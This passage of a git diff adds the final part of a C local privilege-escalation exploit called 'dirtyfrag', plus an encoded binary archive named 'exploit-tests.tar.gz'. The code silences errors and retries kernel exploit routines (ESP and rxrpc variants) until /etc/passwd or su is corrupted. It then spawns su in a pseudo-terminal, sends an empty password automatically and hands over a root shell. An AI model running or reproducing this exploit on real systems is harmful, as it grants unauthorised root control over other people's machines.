+ char *slave_name = ptsname(master); + if (!slave_name) { + close(master); + return -1; + } + + struct winsize ws; + if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) + ioctl(master, TIOCSWINSZ, &ws); + + pid_t pid = fork(); + if (pid < 0) { + close(master); + return -1; + } + if (pid == 0) { + setsid(); + int slave = open(slave_name, O_RDWR); + if (slave < 0) + _exit(127); + ioctl(slave, TIOCSCTTY, 0); + dup2(slave, 0); + dup2(slave, 1); + dup2(slave, 2); + if (slave > 2) + close(slave); + close(master); + exec_su_login(); + _exit(127); + } + + signal(SIGTTOU, SIG_IGN); + signal(SIGTTIN, SIG_IGN); + signal(SIGPIPE, SIG_IGN); + signal(SIGHUP, SIG_IGN); + (void)setpgid(0, 0); + (void)tcsetpgrp(STDIN_FILENO, getpid()); + + struct termios saved_termios; + int restore_termios = 0; + if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) { + struct termios raw = saved_termios; + cfmakeraw(&raw); + if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) + restore_termios = 1; + } + + int auto_pw_sent = 0; + int stdin_eof = 0; + int saw_master_output = 0; + int total_ms = 0; + char buf[4096]; + + for (;;) { + struct pollfd pfds[2] = { + { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, + { master, POLLIN, 0 }, + }; + int pr = poll(pfds, 2, 200); + if (pr < 0 && errno != EINTR) + break; + total_ms += 200; + + if (pfds[1].revents & POLLIN) { + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) + break; + saw_master_output = 1; + (void)write(STDOUT_FILENO, buf, n); + if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) { + buf[n] = 0; + if (strstr(buf, "Password") || + strstr(buf, "password")) { + (void)write(master, "\n", 1); + auto_pw_sent = 1; + } + } + } + if (!stdin_eof && (pfds[0].revents & POLLIN)) { + ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); + if (n <= 0) + stdin_eof = 1; + else + (void)write(master, buf, n); + } + if (pfds[1].revents & (POLLHUP | POLLERR)) + break; + + if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) { + (void)write(master, "\n", 1); + auto_pw_sent = 1; + } + + int status; + pid_t w = waitpid(pid, &status, WNOHANG); + if (w == pid) { + for (int i = 0; i < 5; i++) { + struct pollfd pf = { master, POLLIN, 0 }; + if (poll(&pf, 1, 50) <= 0) + break; + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) + break; + (void)write(STDOUT_FILENO, buf, n); + } + break; + } + } + + if (restore_termios) + tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); + close(master); + return 0; +} + +int main(int argc, char **argv) +{ + int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL); + int force_esp = 0, force_rxrpc = 0; + int saved_err = -1; + int rc = 1; + int new_argc; + char **co_argv; + + for (int i = 1; i < argc; i++) { + if (!strcmp(argv[i], "--force-esp")) + force_esp = 1; + else if (!strcmp(argv[i], "--force-rxrpc")) + force_rxrpc = 1; + else if (!strcmp(argv[i], "-v") || + !strcmp(argv[i], "--verbose")) + verbose = 1; + } + + if (getuid() == 0) { + execlp("/bin/bash", "bash", (char *)NULL); + _exit(1); + } + + co_argv = append_corrupt_only(argc, argv, &new_argc); + + if (!verbose) + silence_stderr(&saved_err); + + if (force_rxrpc) { + rc = rxrpc_lpe_main(new_argc, co_argv); + for (int i = 0; !passwd_already_patched() && i < 3; i++) + rc = rxrpc_lpe_main(new_argc, co_argv); + } else if (force_esp) { + rc = su_lpe_main(new_argc, co_argv); + } else { + rc = su_lpe_main(new_argc, co_argv); + if (!su_already_patched()) { + rc = rxrpc_lpe_main(new_argc, co_argv); + for (int i = 0; !passwd_already_patched() && i < 3; i++) + rc = rxrpc_lpe_main(new_argc, co_argv); + } + } + + int patched = either_target_patched(); + + if (!verbose) + restore_stderr(saved_err); + + if (patched) { + (void)run_root_pty(); + return 0; + } + + dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc); + return rc ? rc : 1; +} diff --git a/exploit-tests.tar.gz b/exploit-tests.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..e2a1e30849150b40e15b5ad768659fff350b006a GIT binary patch literal 46047 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

=h`X=NNZ=d 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 